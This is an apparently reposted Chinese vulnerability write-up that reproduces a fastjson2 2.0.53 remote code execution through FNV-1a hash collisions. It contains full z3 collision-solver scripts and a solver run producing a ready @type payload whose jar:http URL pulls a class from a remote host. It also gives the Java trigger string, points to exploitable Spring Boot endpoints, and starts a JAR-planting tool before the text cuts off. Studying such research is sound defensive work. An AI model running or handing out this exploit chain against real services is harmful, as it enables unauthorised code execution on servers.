FastJson2 Hash 碰撞 RCE 分析与复现
+
+来源:https://xz.aliyun.com/news/92608
+
+
前置说明
+
参考: https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA, 来跟进一下漏洞原理.
+
测试使用的依赖:
+
<dependencies>
+
+ <dependency>
+ <groupId>com.alibaba.fastjson2</groupId>
+ <artifactId>fastjson2</artifactId>
+ <version>2.0.53</version>
+ </dependency>
+</dependencies>
+
默认场景
+
总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:
+
// ────────────────────────────────────────────────────────────
+// 1. 基础反序列化: 把 JSON 字符串解析成 Java 对象
+// ────────────────────────────────────────────────────────────
+String json = "{\"name\":\"admin\",\"age\":28,\"email\":\"admin@lab.local\"}";
+User user = JSON.parseObject(json, User.class);
+System.out.println("[1] 基础反序列化:");
+System.out.println(" 输入: " + json);
+System.out.println(" 输出: " + user);
+System.out.println();
+
+// ────────────────────────────────────────────────────────────
+// 2. 基础序列化: 把 Java 对象转回 JSON 字符串
+// ────────────────────────────────────────────────────────────
+String reJson = JSON.toJSONString(user);
+System.out.println("[2] 基础序列化:");
+System.out.println(" 输入: " + user);
+System.out.println(" 输出: " + reJson);
+System.out.println();
+
+
+
当然如果使用带 @type 的场景, 如下:
+
String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+// 不指定目标类,解析成 JSONObject
+Object obj = JSON.parse(jsonWithType);
+System.out.println("[3] 带 @type 的 JSON, 不开启 SupportAutoType:");
+System.out.println(" 输入: " + jsonWithType);
+System.out.println(" 解析结果类型: " + obj.getClass().getName());
+System.out.println(" 解析结果: " + obj);
+if (obj instanceof JSONObject) {
+ JSONObject jo = (JSONObject) obj;
+ System.out.println(" @type 字段值: " + jo.getString("@type"));
+ System.out.println(" ↑ @type 被当作普通字段保留了,没有触发类加载");
+}
+System.out.println();
+/*
+[3] 带 @type 的 JSON, 不开启 SupportAutoType:
+ 输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
+ 解析结果类型: com.alibaba.fastjson2.JSONObject
+ 解析结果: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
+ @type 字段值: com.heihu577.model.User
+ ↑ @type 被当作普通字段保留了,没有触发类加载
+*/
+
默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean:
+
User u2 = JSON.parseObject(jsonWithType, User.class);
+System.out.println("[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):");
+System.out.println(" 输入: " + jsonWithType);
+System.out.println(" 输出: " + u2);
+System.out.println(" ↑ 反序列化成功,但 @type 字段被忽略 (User 没有 @type 属性)");
+System.out.println();
+
+/*
+[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):
+ 输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
+ 输出: User{name='alice', age=25, email='alice@lab.local'}
+*/
+
解析流程
+
根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:
+

+
那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件:
+
●通过 arthas 将该类的字节码导出
+
●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译
+
通过思路 2, 最终调用栈如下:
+
at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.jitObjectReader(ObjectReaderCreatorASM.java:594)
+at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.createObjectReader(ObjectReaderCreatorASM.java:327)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReaderInternal(ObjectReaderProvider.java:845)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:763)
+at com.alibaba.fastjson2.JSON.parseObject(JSON.java:858)
+at com.heihu577.demo.Demo01Basic.run(Demo01Basic.java:29)
+at com.heihu577.demo.Demo01Basic.main(Demo01Basic.java:17)
+
导出一波:
+

+
最终我们可以看到字节码信息:
+

+
这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:
+

+
随后增加 classpath, 并且将其置顶:
+

+
但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息:
+

+
正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:
+

+
但部分方法会调用 checkAutoType:
+

+
RCE 场景
+
参考: https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A, 官网的 commit 记录中存在对 payload 的测试记录:
+

+
可以看到期望类定义为了 Object, Debug 看一下:
+
package com.heihu577.demo;
+
+import com.alibaba.fastjson2.JSON;
+
+public class Demo {
+ public static void main(String[] args) {
+ String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+
+ Object obj = JSON.parseObject(jsonWithType, Object.class);
+ System.out.println(obj);
+ }
+}
+
调用栈为:
+
at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
+at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
+at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119)
+at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
+at com.heihu577.demo.Demo.main(Demo.java:10)
+
可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来:
+

+
在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:
+

+
随后经过调用栈:
+
at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
+at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
+at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119)
+at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
+at com.heihu577.demo.Demo.main(Demo.java:10)
+
可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启):
+

+
而后面的逻辑存在一个黑白名单校验的缺陷:
+

+
即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑:
+

+
又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载.
+
hash 解密 & payload 调试
+
参考: https://zhuanlan.zhihu.com/p/30548907 & https://ctf-wiki.org/reverse/tools/constraint/z3/ & https://www.freebuf.com/articles/web/232002.html
+
由于 FNV 算法使用了^= & *=进行做位运算, 所以能列成方程组来解表达式:
+
+"""
+FNV-1a 64 位哈希碰撞求解器 (z3)
+
+对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
+ - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
+ - FNV-1a: hash = (hash ^ ch) * prime
+ - offset = 0xcbf29ce484222325
+ - prime = 0x100000001b3
+
+用法:
+ python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符]
+
+参数:
+ 目标hash : 十进制 (可负) 或 0x 开头的十六进制
+ 字符数 : 默认 5
+ 最小字符 : 默认 256 (确保 >255, 触发 FNV-1a)
+ 最大字符 : 默认 65535 (Java char 上限)
+
+示例:
+ python3 fnv_collision.py 0xd5ef36df67371111
+ python3 fnv_collision.py -6293031534589903644
+ python3 fnv_collision.py 15415600382649766161 5 256 65535
+
+依赖:
+ pip3 install z3-solver
+"""
+import sys
+from z3 import *
+
+
+OFFSET = 0xcbf29ce484222325
+PRIME = 0x100000001b3
+
+
+def parse_hash(s):
+ """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""
+ s = s.strip()
+ if s.lower().startswith('0x'):
+ v = int(s, 16)
+
+ if v >= 2**63:
+ v -= 2**64
+ return v
+ return int(s)
+
+
+def to_unsigned(v):
+ """有符号 long -> 无符号"""
+ return v & 0xFFFFFFFFFFFFFFFF
+
+
+def fnv1a_hash(s):
+ """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""
+ h = OFFSET
+ for ch in s:
+ h ^= ord(ch)
+ h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
+ return h
+
+
+def solve(target_hash, num_chars=5, min_char=256, max_char=65535):
+ """
+ 用 z3 求 N 字符碰撞
+
+ target_hash: 目标 hash (有符号 long)
+ num_chars: 字符数
+ min_char: 字符最小值 (256 确保触发 FNV-1a)
+ max_char: 字符最大值 (65535 = Java char 上限)
+ """
+ target_unsigned = to_unsigned(target_hash)
+
+
+ c = [BitVec(f'c{i}', 64) for i in range(num_chars)]
+
+
+ h = BitVecVal(OFFSET, 64)
+ for i in range(num_chars):
+ h = (h ^ c[i]) * BitVecVal(PRIME, 64)
+
+
+ s = Solver()
+ s.add(h == BitVecVal(target_unsigned, 64))
+
+
+ for i in range(num_chars):
+ s.add(c[i] >= min_char)
+ s.add(c[i] <= max_char)
+
+
+
+ s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF))
+
+
+ if min_char <= 255 and num_chars <= 8:
+ s.add(Or([c[i] > 255 for i in range(num_chars)]))
+
+
+ result = s.check()
+ if result == sat:
+ m = s.model()
+ return [m[c[i]].as_long() for i in range(num_chars)]
+ return None
+
+
+def main():
+ if len(sys.argv) < 2:
+ print(__doc__)
+ sys.exit(1)
+
+
+ target_hash = parse_hash(sys.argv[1])
+ num_chars = int(sys.argv[2]) if len(sys.argv) > 2 else 5
+ min_char = int(sys.argv[3]) if len(sys.argv) > 3 else 256
+ max_char = int(sys.argv[4]) if len(sys.argv) > 4 else 65535
+
+ print("═" * 64)
+ print(" FNV-1a 64 位哈希碰撞求解器 (z3)")
+ print("═" * 64)
+ print()
+ print(f" 目标 hash (有符号): {target_hash}")
+ print(f" 目标 hash (无符号): {to_unsigned(target_hash)}")
+ print(f" 目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}")
+ print()
+ print(f" 字符数: {num_chars}")
+ print(f" 字符范围: [{min_char}, {max_char}]")
+ if min_char <= 255:
+ print(f" ⚠ 范围含 <=255, 会强制至少一个字符 >255 (走 FNV-1a)")
+ print()
+
+
+ print(" 求解中...")
+ import time
+ start = time.time()
+ result = solve(target_hash, num_chars, min_char, max_char)
+ elapsed = time.time() - start
+
+ if result is None:
+ print(f" ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s")
+ print()
+ print(" 可能原因:")
+ print(" 1. 输入空间太小 (字符数 × 位宽 < 64)")
+ print(" 2. z3 求解超时 (尝试减少字符数)")
+ print(" 3. 真的无解 (极少见)")
+ return
+
+ print(f" ✓ 找到解! 耗时 {elapsed:.2f}s")
+ print()
+
+
+ collision_str = ''.join(chr(c) for c in result)
+
+
+ actual_hash = fnv1a_hash(collision_str)
+
+ print("─" * 64)
+ print(" 碰撞结果")
+ print("─" * 64)
+ print()
+ print(f" 原始目标 hash: 0x{to_unsigned(target_hash):016x}")
+ print(f" 碰撞字符串 hash: 0x{to_unsigned(actual_hash):016x}")
+ print(f" 匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}")
+ print()
+ print(f" Code Points: {result}")
+ print(f" 十六进制: [{', '.join(f'0x{c:04x}' for c in result)}]")
+ print(f" Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}")
+
+ safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ print(f" 字符串: \"{safe_str}\"")
+ print()
+ print("─" * 64)
+ print(" 使用提示")
+ print("─" * 64)
+ print()
+ print(" 1. Java 中使用 (用 Unicode 转义):")
+ print(f' String s = "{"".join(f"\\u{c:04x}" for c in result)}";')
+ print(f" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);")
+ print()
+ print(" 2. 这个字符串的 FNV-1a hash 等于目标 hash")
+ print(" 3. 每个字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)")
+ print()
+ print("═" * 64)
+
+
+if __name__ == '__main__':
+ main()
+
对应方程组:
+
已知:
+ OFFSET = 0xcbf29ce484222325
+ PRIME = 0x100000001b3
+ target = -6293031534589903644
+
+方程(假设是 5 位数):
+ let h0 = OFFSET
+ let h1 = (h0 ^ c0) * PRIME
+ let h2 = (h1 ^ c1) * PRIME
+ let h3 = (h2 ^ c2) * PRIME
+ let h4 = (h3 ^ c3) * PRIME
+ let h5 = (h4 ^ c4) * PRIME
+ h5 == target
+
解方程核心代码块:
+

+
最终对应 fastjson 场景解密 -6293031534589903644 效果:
+

+
通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:
+

+
因为它是依次按照^= & *=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本:
+
+"""
+FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀
+
+对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
+ - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
+ - FNV-1a: hash = (hash ^ ch) * prime
+ - offset = 0xcbf29ce484222325
+ - prime = 0x100000001b3
+
+★ 前缀支持 (--prefix):
+ 指定已知前缀字符串, 该前缀先参与 FNV-1a 计算, 改变起始 hash,
+ 然后再求解 N 个未知字符使最终 hash 等于目标.
+ 对应 Java 语义: Fnv.hashCode64(prefix + unknown) == targetHash
+
+用法:
+ python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符] [--prefix PREFIX]
+
+参数:
+ 目标hash : 十进制 (可负) 或 0x 开头的十六进制
+ 字符数 : 默认 5 (未知字符数, 不含 prefix)
+ 最小字符 : 默认 256 (确保 >255, 触发 FNV-1a)
+ 最大字符 : 默认 65535 (Java char 上限)
+ --prefix : 已知前缀字符串 (先参与 FNV-1a, 再求未知字符)
+
+示例:
+ python3 fnv_collision.py 0xd5ef36df67371111
+ python3 fnv_collision.py -6293031534589903644
+ python3 fnv_collision.py 0xd5ef36df67371111 5 256 65535 --prefix abc
+ python3 fnv_collision.py 0xd5ef36df67371111 3 --prefix 'java.lang.String'
+
+依赖:
+ pip3 install z3-solver
+"""
+import sys
+import argparse
+import time
+from z3 import *
+
+
+OFFSET = 0xcbf29ce484222325
+PRIME = 0x100000001b3
+
+
+def parse_hash(s):
+ """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""
+ s = s.strip()
+ if s.lower().startswith('0x'):
+ v = int(s, 16)
+ # 转成有符号 long (Java long 是有符号 64 位)
+ if v >= 2**63:
+ v -= 2**64
+ return v
+ return int(s)
+
+
+def to_unsigned(v):
+ """有符号 long -> 无符号"""
+ return v & 0xFFFFFFFFFFFFFFFF
+
+
+def to_java_chars(s):
+ """
+ 将 Python 字符串转成 Java char (UTF-16 code unit) 序列.
+
+ Java 的 String.charAt(i) 返回 16 位 char, FNV-1a 实际是对
+ UTF-16 code unit 迭代, 不是对 Unicode codepoint 迭代.
+ - BMP 字符 (0x0000-0xFFFF): code unit == codepoint, 两者等价
+ - 非 BMP 字符 (如 emoji 0x1F600): Java 迭代代理对 [0xD83D, 0xDE00],
+ Python 的 ord() 返回整个 codepoint. 本函数确保与 Java 行为一致.
+ """
+ b = s.encode('utf-16-be')
+ return [int.from_bytes(b[i:i+2], 'big') for i in range(0, len(b), 2)]
+
+
+def fnv1a_hash(s):
+ """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""
+ h = OFFSET
+ for ch in to_java_chars(s):
+ h ^= ch
+ h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
+ return h
+
+
+def fnv1a_prefix_state(prefix):
+ """
+ 计算 prefix 参与 FNV-1a 后的起始 hash 状态.
+
+ 返回 (h_start, prefix_chars, prefix_has_high_char):
+ h_start : prefix 跑完 FNV-1a 后的 hash (作为未知字符的起点)
+ prefix_chars : prefix 的 Java char 序列
+ prefix_has_high_char : prefix 是否含 >255 的 char (影响 FNV-1a 触发判断)
+ """
+ chars = to_java_chars(prefix)
+ h = OFFSET
+ for ch in chars:
+ h ^= ch
+ h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
+ has_high = any(ch > 255 for ch in chars)
+ return h, chars, has_high
+
+
+def solve(target_hash, num_chars=5, min_char=256, max_char=65535, prefix=''):
+ """
+ 用 z3 求 N 字符碰撞 (支持已知前缀)
+
+ target_hash: 目标 hash (有符号 long)
+ num_chars: 未知字符数 (不含 prefix)
+ min_char: 字符最小值 (256 确保触发 FNV-1a)
+ max_char: 字符最大值 (65535 = Java char 上限)
+ prefix: 已知前缀字符串, 先参与 FNV-1a 计算, 改变起始 hash
+
+ 求解等式: FNV1a_continue(FNV1a(prefix), unknown_chars) == target_hash
+ """
+ target_unsigned = to_unsigned(target_hash)
+
+ # ★ 关键: 先把 prefix 跑一遍 FNV-1a, 得到起始 hash
+ # prefix 是已知常量, 这一步用纯 Python 算出具体数值, 不需要 z3 变量
+ h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
+
+ # 创建 num_chars 个 64 位 BitVec 变量 (只对未知字符建变量)
+ c = [BitVec(f'c{i}', 64) for i in range(num_chars)]
+
+ # FNV-1a 计算 (从 prefix 处理后的 h_start 继续)
+ h = BitVecVal(h_start, 64)
+ for i in range(num_chars):
+ h = (h ^ c[i]) * BitVecVal(PRIME, 64)
+
+ # 求解器
+ s = Solver()
+ s.add(h == BitVecVal(target_unsigned, 64))
+
+ # 字符范围约束
+ for i in range(num_chars):
+ s.add(c[i] >= min_char)
+ s.add(c[i] <= max_char)
+ # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
+ # 这些码点专用于 UTF-16 编码,不能作为独立字符
+ # Python chr() 能产生但 print 时 UTF-8 不允许
+ s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF))
+
+ # FNV-1a 触发条件检查 (考虑 prefix)
+ # fastjson2: 字符串长度 > 8 或任一 char > 255 -> 走 FNV-1a
+ prefix_java_len = len(prefix_chars)
+ total_len = prefix_java_len + num_chars
+
+ # 只有当总长度 <=8 且 prefix 没有高字符 且 字符范围含 <=255 时,
+ # 才需要强制至少一个未知字符 >255 (确保走 FNV-1a 而非短字符串优化)
+ if min_char <= 255 and total_len <= 8 and not prefix_has_high:
+ s.add(Or([c[i] > 255 for i in range(num_chars)]))
+
+ # 求解
+ result = s.check()
+ if result == sat:
+ m = s.model()
+ return [m[c[i]].as_long() for i in range(num_chars)]
+ return None
+
+
+def main():
+ parser = argparse.ArgumentParser(
+ description='FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀',
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ )
+ parser.add_argument('target_hash', type=str,
+ help='目标 hash (十进制可负 / 0x十六进制)')
+ parser.add_argument('num_chars', type=int, nargs='?', default=5,
+ help='未知字符数 (默认 5, 不含 prefix)')
+ parser.add_argument('min_char', type=int, nargs='?', default=256,
+ help='字符最小值 (默认 256)')
+ parser.add_argument('max_char', type=int, nargs='?', default=65535,
+ help='字符最大值 (默认 65535)')
+ parser.add_argument('--prefix', type=str, default='',
+ help='已知前缀字符串, 先参与 FNV-1a 再求解未知字符')
+ args = parser.parse_args()
+
+ target_hash = parse_hash(args.target_hash)
+ num_chars = args.num_chars
+ min_char = args.min_char
+ max_char = args.max_char
+ prefix = args.prefix
+
+ # 预计算 prefix 状态 (用于显示)
+ h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
+ prefix_java_len = len(prefix_chars)
+ total_len = prefix_java_len + num_chars
+
+ print("═" * 64)
+ print(" FNV-1a 64 位哈希碰撞求解器 (z3)")
+ print("═" * 64)
+ print()
+ print(f" 目标 hash (有符号): {target_hash}")
+ print(f" 目标 hash (无符号): {to_unsigned(target_hash)}")
+ print(f" 目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}")
+ print()
+ print(f" 未知字符数: {num_chars}")
+ print(f" 字符范围: [{min_char}, {max_char}]")
+ if prefix:
+ prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ print(f" 已知前缀: \"{prefix_display}\"")
+ print(f" 前缀长度: {prefix_java_len} Java char(s)")
+ print(f" 前缀含 >255 字符: {'是' if prefix_has_high else '否'}")
+ print(f" 前缀处理后起始 hash: 0x{h_start:016x}")
+ print(f" (原始 OFFSET: 0x{OFFSET:016x})")
+ print(f" 总字符串长度: {total_len} Java char(s)")
+ if min_char <= 255 and total_len <= 8 and not prefix_has_high:
+ print(f" ⚠ 总长度 <=8 且范围含 <=255, 会强制至少一个未知字符 >255 (走 FNV-1a)")
+ print()
+
+ # 求解
+ print(" 求解中...")
+ start = time.time()
+ result = solve(target_hash, num_chars, min_char, max_char, prefix)
+ elapsed = time.time() - start
+
+ if result is None:
+ print(f" ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s")
+ print()
+ print(" 可能原因:")
+ print(" 1. 输入空间太小 (字符数 × 位宽 < 64)")
+ print(" 2. z3 求解超时 (尝试减少字符数)")
+ print(" 3. 真的无解 (极少见)")
+ return
+
+ print(f" ✓ 找到解! 耗时 {elapsed:.2f}s")
+ print()
+
+ # 构造碰撞字符串 (只有未知部分)
+ collision_str = ''.join(chr(c) for c in result)
+ # 完整字符串 = prefix + 未知部分
+ full_str = prefix + collision_str
+
+ # 验证: 完整字符串的 FNV-1a hash 应该等于目标
+ actual_hash = fnv1a_hash(full_str)
+
+ print("─" * 64)
+ print(" 碰撞结果")
+ print("─" * 64)
+ print()
+ print(f" 原始目标 hash: 0x{to_unsigned(target_hash):016x}")
+ print(f" 完整字符串 hash: 0x{to_unsigned(actual_hash):016x}")
+ print(f" 匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}")
+ print()
+ if prefix:
+ prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ print(f" 已知前缀: \"{prefix_display}\"")
+ print(f" 未知部分 Code Points: {result}")
+ print(f" 未知部分 十六进制: [{', '.join(f'0x{c:04x}' for c in result)}]")
+ print(f" 未知部分 Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}")
+ safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ print(f" 未知部分字符串: \"{safe_str}\"")
+ print()
+ print("─" * 64)
+ print(" 使用提示")
+ print("─" * 64)
+ print()
+ # Java 形式: prefix 用 Unicode 转义 + 未知部分用 Unicode 转义
+ prefix_unicode = ''.join(f'\\u{ch:04x}' for ch in prefix_chars)
+ unknown_unicode = ''.join(f'\\u{c:04x}' for c in result)
+ if prefix:
+ print(" 1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):")
+ print(f' String s = "{prefix_unicode}{unknown_unicode}";')
+ print()
+ prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
+ print(" 2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:")
+ print(f' String s = "{prefix_display}" + "{unknown_unicode}";')
+ else:
+ print(" 1. Java 中使用 (用 Unicode 转义):")
+ print(f' String s = "{unknown_unicode}";')
+ print()
+ print(f" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);")
+ print()
+ print(" 3. 这个字符串的 FNV-1a hash 等于目标 hash")
+ if min_char > 255:
+ print(" 4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)")
+ print()
+ print("═" * 64)
+
+
+if __name__ == '__main__':
+ main()
+
生成远程加载的 payload:
+
heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369.2333.Hello\!.Hello" -6293031534589903644
+════════════════════════════════════════════════════════════════
+ FNV-1a 64 位哈希碰撞求解器 (z3)
+════════════════════════════════════════════════════════════════
+
+ 目标 hash (有符号): -6293031534589903644
+ 目标 hash (无符号): 12153712539119647972
+ 目标 hash (十六进制): 0xa8aaa929446ffce4
+
+ 未知字符数: 5
+ 字符范围: [256, 65535]
+ 已知前缀: "jar:http:..2887610369.2333.Hello!.Hello"
+ 前缀长度: 39 Java char(s)
+ 前缀含 >255 字符: 否
+ 前缀处理后起始 hash: 0x3acee6a3e7fcfdce
+ (原始 OFFSET: 0xcbf29ce484222325)
+ 总字符串长度: 44 Java char(s)
+
+ 求解中...
+ ✓ 找到解! 耗时 0.19s
+
+────────────────────────────────────────────────────────────────
+ 碰撞结果
+────────────────────────────────────────────────────────────────
+
+ 原始目标 hash: 0xa8aaa929446ffce4
+ 完整字符串 hash: 0xa8aaa929446ffce4
+ 匹配: ✓
+
+ 已知前缀: "jar:http:..2887610369.2333.Hello!.Hello"
+ 未知部分 Code Points: [16676, 4874, 30874, 19441, 64757]
+ 未知部分 十六进制: [0x4124, 0x130a, 0x789a, 0x4bf1, 0xfcf5]
+ 未知部分 Unicode 转义: \u4124\u130a\u789a\u4bf1\ufcf5
+ 未知部分字符串: "䄤ጊ碚䯱ﳵ"
+
+────────────────────────────────────────────────────────────────
+ 使用提示
+────────────────────────────────────────────────────────────────
+
+ 1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):
+ String s = "\u006a\u0061\u0072\u003a\u0068\u0074\u0074\u0070\u003a\u002e\u002e\u0032\u0038\u0038\u0037\u0036\u0031\u0030\u0033\u0036\u0039\u002e\u0032\u0033\u0033\u0033\u002e\u0048\u0065\u006c\u006c\u006f\u0021\u002e\u0048\u0065\u006c\u006c\u006f\u4124\u130a\u789a\u4bf1\ufcf5";
+
+ 2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:
+ String s = "jar:http:..2887610369.2333.Hello!.Hello" + "\u4124\u130a\u789a\u4bf1\ufcf5";
+
+ long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);
+
+ 3. 这个字符串的 FNV-1a hash 等于目标 hash
+ 4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)
+
+════════════════════════════════════════════════════════════════
+
该 payload 能成功走向 loadClass 逻辑:
+
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+Object obj = JSON.parseObject(jsonWithType, Object.class);
+System.out.println(obj);
+
最终结果:
+

+
SpringBoot 中测试
+
在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可.
+
fnv 计算步骤
+
另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如:
+
jar:http:..2887610369:2333.Hello!.Hello
+
原封不动的将其丢到 fnv 计算器中:
+

+
生成结果为:
+
jar:http:..2887610369:2333.Hello!.Hello\ue94c\uc17c\uf770\ua803\uc0d3
+
驻留 jar 步骤
+
若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\ue94c\uc17c\uf770\ua803\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用:
+
+"""
+JAR/ZIP 碰撞条目复制工具 - 配合 fnv_collision.py 使用
+
+功能:
+ 将 JAR 中已有的 class 文件复制一份, 在文件名末尾 (扩展名前) 插入
+ fnv_collision.py 求出的 unicode 字符, 形成新的 JAR 条目.
+
+ 这样 JNDI jar: URL 加载时, fastjson 校验的类名 FNV hash 命中碰撞值,
+ 实际加载的却是新条目 (内容与原 class 一致).
+
+用法:
+ python3 jar_collision_copy.py <JAR文件> <原class文件名> <unicode转义串>
+
+参数:
+ JAR文件 : 要修改的 JAR/ZIP 文件路径
+ 原 class 文件名 : JAR 中已存在的 class 条目名 (如 Hello.class)
+ unicode 转义串 : \\uXXXX 格式字符串 (来自 fnv_collision.py 输出)
+ ★ 请用单引号包裹, 避免 shell 解释 \\u
+
+示例:
+ python3 jar_collision_copy.py ./Hello Hello.class '\\ue94c\\uc17c\\uf770\\ua803\\uc0d3'
+
+ # 也可以直接传已解码的 unicode 字符 (双引号在 zsh 下会解码 \\u)
+ python3 jar_collision_copy.py ./Hello Hello.class "셼ꠃ샓"
+
+工作流程:
+ 1. 读取 JAR, 找到原 class 条目, 缓存其内容
+ 2. 解析 unicode 转义串 (\\uXXXX -> 实际字符)
+ 3. 构造新条目名: <原文件名去扩展名> + <解码字符> + <扩展名>
+ 例: Hello.class + \\ue94c... -> Hello\\ue94c... uc17c... .class
+ 4. 创建临时 JAR, 复制所有原条目 + 追加新条目
+ 5. 用临时 JAR 替换原 JAR
+ 6. 验证新条目存在且内容与原条目一致
+"""
+import sys
+import re
+import os
+import shutil
+import zipfile
+import tempfile
+
+
+def decode_unicode_escapes(s):
+ """
